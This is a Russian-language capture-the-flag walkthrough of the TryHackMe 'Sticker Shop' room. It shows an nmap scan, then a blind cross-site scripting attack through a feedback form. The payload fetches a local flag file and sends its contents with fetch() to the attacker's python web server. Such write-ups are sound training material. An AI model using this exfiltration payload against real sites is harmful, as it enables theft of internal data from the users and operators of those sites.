TryHackMe - The Sticker Shop
Простой разбор использования ❌ Cross-Site Scripting в этом задании
Введение
Сможете ли вы эксплуатировать магазин стикеров, чтобы захватить флаг?
Ваш местный магазин стикеров наконец-то разработал собственный веб‑сайт. У них не так много опыта в веб‑разработке, поэтому они решили разрабатывать и хостить всё на том же компьютере, который используют для просмотра интернета и чтения отзывов клиентов. Отличное решение!
Nmap
Начнём со сканирования открытых портов:
1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.10.243
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
| 256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_ 256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open http Werkzeug httpd 3.0.1 (Python 3.8.10)
|_http-title: Cat Sticker Shop
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Так как резервный порт HTTP открыт, мы можем посетить сайт по адресу 10.10.10.243:8080.
Попробуем перейти на 10.10.10.243:8080/flag.txt

Cross-Site Scripting
Попробуем использовать XSS.
Запустим python‑сервер и попробуем обратиться к нашей машине‑атакующему через скрипт:
1
python3 -m http.server 8000
И отправим следующий скрипт:
1
</textarea><script>fetch('http://10.11.75.122:8000');</script>
Мы получили ответ, а значит у нас есть Blind XSS‑уязвимость.
Теперь попробуем собрать полезную нагрузку следующего вида:
1
2
3
4
5
6
7
8
</textarea><script>
async function a() {
const res1 = await fetch('http://127.0.0.1:8080/flag.txt');
const b = await res1.text();
const res2 = await fetch('http://10.11.75.122:8000?a=' + b);
}
a();
</script>
Разбор:
- Получает
flag.txtсhttp://127.0.0.1:8080/flag.txt. - Считывает его содержимое как текст.
- Отправляет украденный флаг в виде query‑параметра (
a=<OUR_FLAG>) наhttp://10.11.75.122:8000(нашу машину‑атакующую).
Флаг
После запуска локального python‑сервера и отправки полезной нагрузки мы получаем флаг.




